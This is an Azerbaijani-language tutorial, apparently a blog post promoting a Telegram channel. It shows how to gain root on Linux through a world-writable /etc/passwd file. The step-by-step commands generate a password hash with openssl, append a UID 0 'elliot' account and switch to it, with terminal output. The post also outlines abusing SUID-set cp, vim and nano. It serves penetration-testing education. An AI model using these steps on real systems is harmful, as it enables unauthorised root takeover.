Linux Privilege Escalation nədir? Hansı təhlükəsizlik boşluqları var? Privilege Escalationda hansı məqamlara əsas fikir verilməlidir? /etc/passwd nədir? /etc/passwd faylı nədir? /etc/passwd zəif icazələrindən istifadə edərək Privilege Escalation, /etc/passwd faylının exploit edilməsi
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
/etc/passwd Faylının Zəif İcazələrindən Sui-İstifadə
/etc/passwd faylının yenidən yazılması üsullarının tapılmasının bir neçə yolu vardır.Ümumi olaraq deyə bilərikki, əgər biz /etc/passwd faylına yazma hüququmuz vardırsa, biz ona yeni istifadəçini root olaraq əlavə edərək sistem üzərində bütün səlahiyyətlərə malik ola bilərik.Bu zəifliyin baş verməsinin axtarılması halında aşağıdakı texnikalardan istifadə edərək /etc/passwd faylını zəifliyini tapa bilərik.
- cari istifadəçinin /etc/passwd faylına yazma hüququ olduğunu yoxlamaq.
- cp kommandasına SUİD biti quraşdırıldığını yoxlamaq.
- mətn redaktorları olan Vim və Nano alətlərində SUİD bitinin quraşdırıldığını yoxlamaq.
Birinci texnikanı etmək daha rahatdır, bunun üçün root istifadəçisini generasiya edib yazma hüququmuz olan /etc/passwd faylına əlavə etmək lazımdır.Bu zəiflikdən istifadə etmək üçün /etc/passwd faylının icazələrinə baxmaq bəs edir.
user@debian:~$ ls -la /etc/passwd
-rw-r--rw- 1 root root 1009 Aug 25 2019 /etc/passwd
İcazələr üzərindən görə bilirikki, hədəf /etc/passwd faylı üstündə bizim yazma icazəmiz var.Bunu yoxlamaq üçün 1 rəqəmini həmin fayla əlavə etməyə çalışaq.
user@debian:~$ echo 1 >> /etc/passwd
user@debian:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
(.......)
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
statd:x:103:65534::/var/lib/nfs:/bin/false
mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false
1
Əla işlədiyini görürük.İndi isə əsl root istifadəçisini generasiya edirik. Generasiyanı icra etmək üçün OpenSSl kommandasından istifadə edin və şifrə olaraq fsociety istifadəçi adı olaraq elliot istifadə edə bilərik.(Siz burada qeyd etdiyim yerləri seçməkdə sərbəstsiniz.)
└─# openssl passwd -1 -salt elliot fsociety
$1$elliot$uLxL3LSWaJIz/m5GZAoun/
Daha sonra əldə etdiyimiz sətri /etc/passwd faylına nano və ya vim vasitəsi ilə əlavə edək və tərkibini yoxlayaq.
user@debian:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
(.......)
statd:x:103:65534::/var/lib/nfs:/bin/false
mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false
elliot:$1$elliot$uLxL3LSWaJIz/m5GZAoun/:0:0:root:/root:/bin/bash
elliot istifadəçisə keçid edən zaman sizi nə gözləyir? Siz root olacaqsınız?
user@debian:~$ su elliot
Password:
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user# whoami
root
Bu məsələmizdə biz /etc/passwd faylına yeni bir istifadəçi əlavə etdik və buna səbəv /etc/passwd faylı üzərində olan yazma hüququ idi. İkinci ssenari isə cp kommandasına SUİD bitinin quraşdırılmağını təsəvvür edək.Bunun exploit edilməsi üçün öncə öz /etc/passwd faylımızı yaradırıq və daha sonra isə cp kommandasından istifadə edərək aşağıdakı əməliyyatı icra edirik.
cp (yeni yaratdığımız /etc/passwd faylı) /etc/passwd
Yeni /etc/passwd faylı yaratmazdan əvvəl istifadəçiləri kopyalayaraq yeni yaratdığımız /etc/passwd faylına əlavə etməyi unutmayın.
Sonuncu ssenari isə mətn redaktorları olan Vim və Nano alətlərinin SUİD bitinin quraşdırıldığı hallardır.Bizim etməli olduğumuz şey yenədə SUİD biti quraşdırılmış mətn redaktorlarından birinin köməyi ilə /etc/passwd faylını dəyişdirmək və yeni root istifadəçisini əlavə etməkdir.
Ümidvaram faydalı olmuşdur.Təşəkkürlər!
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat